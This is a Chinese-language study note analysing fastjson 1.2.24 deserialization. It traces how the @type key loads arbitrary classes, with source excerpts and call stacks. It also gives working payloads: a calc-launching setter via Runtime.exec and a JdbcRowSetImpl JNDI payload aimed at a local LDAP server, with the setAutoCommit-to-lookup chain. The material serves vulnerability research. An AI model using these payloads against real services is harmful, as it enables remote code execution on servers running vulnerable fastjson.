fastjson反序列化
pom.xml
1 2 3 4 5 <dependency > <groupId > com.alibaba</groupId > <artifactId > fastjson</artifactId > <version > 1.2.24</version > </dependency >
Person
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 package com.example.fast;import java.util.Map;public class Person { private int age; private String name; private Map map; public Person () { System.out.println("constructor" ); } public int getAge () { System.out.println("getAge" ); return age; } public void setAge (int age) { System.out.println("setAge" ); this .age = age; } public String getName () { System.out.println("getName" ); return name; } public void setName (String name) { System.out.println("setName" ); this .name = name; } public Map getMap () { System.out.println("getMap" ); return map; } }
test
1 2 3 4 5 6 7 8 9 10 11 12 13 14 package com.example.fast;import com.alibaba.fastjson.JSON;public class test { public static void main (String[] args) { String s = "{\"@type\":\"com.example.fast.Person\",\"age\":18,\"name\":\"ttt\"}" ; Person person = JSON.parseObject(s, Person.class); System.out.println(person.getName()); } }
漏洞原理解析
fastjson功能上为了能够适应更多的拓展功能,使用了存在能够识别关键字以及历遍类方法等功能对其json字段进行生成反序列化
1 2 3 4 5 6 String text = JSON.toJSONString(obj); VO vo = JSON.parse(); VO vo = JSON.parseObject("{...}" ); VO vo = JSON.parseObject("{...}" , VO.class);
初探fastJson的AutoType_fastjson autotype作用-CSDN博客
具体调用流程
1 2 3 4 5 6 7 8 9 10 createJavaBeanDeserializer:510, ParserConfig (com.alibaba.fastjson.parser) getDeserializer:461, ParserConfig (com.alibaba.fastjson.parser) getDeserializer:312, ParserConfig (com.alibaba.fastjson.parser) parseObject:367, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser) parse:137, JSON (com.alibaba.fastjson) parse:128, JSON (com.alibaba.fastjson) parseObject:201, JSON (com.alibaba.fastjson) main:10, test (com.example.fast)
函数基于Map对json的键值对进行处理
此处进入解析
进行字符串解析
判断key是否是特殊值,满足用户需求,假如出现了特殊值,将会进行java的反序列化操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) { String typeName = lexer.scanSymbol(symbolTable, '"' ); Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader()); if (clazz == null ) { object.put(JSON.DEFAULT_TYPE_KEY, typeName); continue ; } lexer.nextToken(JSONToken.COMMA); if (lexer.token() == JSONToken.RBRACE) { lexer.nextToken(JSONToken.COMMA); try { Object instance = null ; ObjectDeserializer deserializer = this .config.getDeserializer(clazz); if (deserializer instanceof JavaBeanDeserializer) { instance = ((JavaBeanDeserializer) deserializer).createInstance(this , clazz); } if (instance == null ) { if (clazz == Cloneable.class) { instance = new HashMap (); } else if ("java.util.Collections$EmptyMap" .equals(typeName)) { instance = Collections.emptyMap(); } else { instance = clazz.newInstance(); } } return instance; } catch (Exception e) { throw new JSONException ("create instance error" , e); } } this .setResolveStatus(TypeNameRedirect); if (this .context != null && !(fieldName instanceof Integer)) { this .popContext(); } if (object.size() > 0 ) { Object newObj = TypeUtils.cast(object, clazz, this .config); this .parseObject(newObj); return newObj; } ObjectDeserializer deserializer = config.getDeserializer(clazz); return deserializer.deserialze(this , clazz, fieldName); }
1 Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());
此处进行了classloader,并且采用了缓存,空间换时间
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 try { if (classLoader != null ) { clazz = classLoader.loadClass(className); mappings.put(className, clazz); return clazz; } } catch (Throwable e) { e.printStackTrace(); } try { ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader(); if (contextClassLoader != null ) { clazz = contextClassLoader.loadClass(className); mappings.put(className, clazz); return clazz; } } catch (Throwable e) { }
1 ObjectDeserializer deserializer = config.getDeserializer(clazz);
此处进行了反序列化
1 2 createJavaBeanDeserializer:510, ParserConfig (com.alibaba.fastjson.parser) getDeserializer:461, ParserConfig (com.alibaba.fastjson.parser)
1 public static JavaBeanInfo build (Class<?> clazz, Type type, PropertyNamingStrategy propertyNamingStrategy) {
这个类用于获取我们传输类的全部信息
会对set,get等等的method,field进行特殊化处理,然后将json的信息初始化建立出一个对象
中间在反序列化构造器的时候,因为使用的是父类的流程,所以无法看到调试的过程
如果需要调试的话,可以建立一个getMap使得getonly为真进入到系统的构造器进行调试
中间会调用构造方法,set和get方法
构造方法调用流程
1 2 3 4 5 6 7 8 9 10 11 createInstance:108, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:570, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser) parse:137, JSON (com.alibaba.fastjson) parse:128, JSON (com.alibaba.fastjson) parseObject:201, JSON (com.alibaba.fastjson) main:10, test (com.example.fast)
set方法调用流程
1 2 3 4 5 6 7 8 9 10 11 setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:593, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser) parse:137, JSON (com.alibaba.fastjson) parse:128, JSON (com.alibaba.fastjson) parseObject:201, JSON (com.alibaba.fastjson) main:10, test (com.example.fast)
get调用栈流程
1 2 3 4 5 6 7 get:451, FieldInfo (com.alibaba.fastjson.util) getPropertyValue:114, FieldSerializer (com.alibaba.fastjson.serializer) getFieldValuesMap:439, JavaBeanSerializer (com.alibaba.fastjson.serializer) toJSON:902, JSON (com.alibaba.fastjson) toJSON:824, JSON (com.alibaba.fastjson) parseObject:206, JSON (com.alibaba.fastjson) main:10, test (com.example.fast)
因此最终的流程如下:
传入字符串 -> 解析字符串是否存在关键字 -> 进行类的构造,对于方法,参数等进行设置和添加(只会添加public,set和get) -> 实例化调用构造方法,set方法 -> 调用get方法
简单利用
1 2 3 4 5 6 7 8 9 10 package com.example.fast;import java.io.IOException;public class test_command { public void setCmd (String cmd) throws IOException, IOException { Runtime.getRuntime().exec(cmd); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 package com.example.fast;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import com.alibaba.fastjson.parser.ParserConfig;import com.alibaba.fastjson.serializer.SerializeConfig;public class test { public static void main (String[] args) { ParserConfig.getGlobalInstance().setAsmEnable(false ); SerializeConfig.getGlobalInstance().setAsmEnable(false ); String s = "{\"@type\":\"com.example.fast.test_command\",\"cmd\":\"calc\"}" ; JSONObject jsonObject = JSON.parseObject(s); System.out.println(jsonObject); } }
具体利用
因为fastjson只需要传入参数即可,与原生的反序列化的不同在于入口处是set或者get方法,以及是否成功在于依赖和版本问题(因为反序列化的逻辑由fastjson来控制)
JdbcRowSetImpl
1 2 3 4 5 6 7 8 import com.alibaba.fastjson.JSON;public class test { public static void main (String[] args) { String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:8085/uPaRCLKe\",\"autoCommit\":false}" ; JSON.parseObject(s); } }
具体分析
就像之前所说的,我们需要寻找到的需要在get或者set方法中寻找可以利用的代码点。
我们寻找的思路是通过一些危险函数,然后去反向查找方法即可
之后需要选择使用set方法对其进行注入
通过setAutoCommit -> 调用connect() -> lookup() -> 然后getDataSourceName可控,就可以构造出这条链子了
BasicDataSource
对于这条链子,主要解决了不出网的情况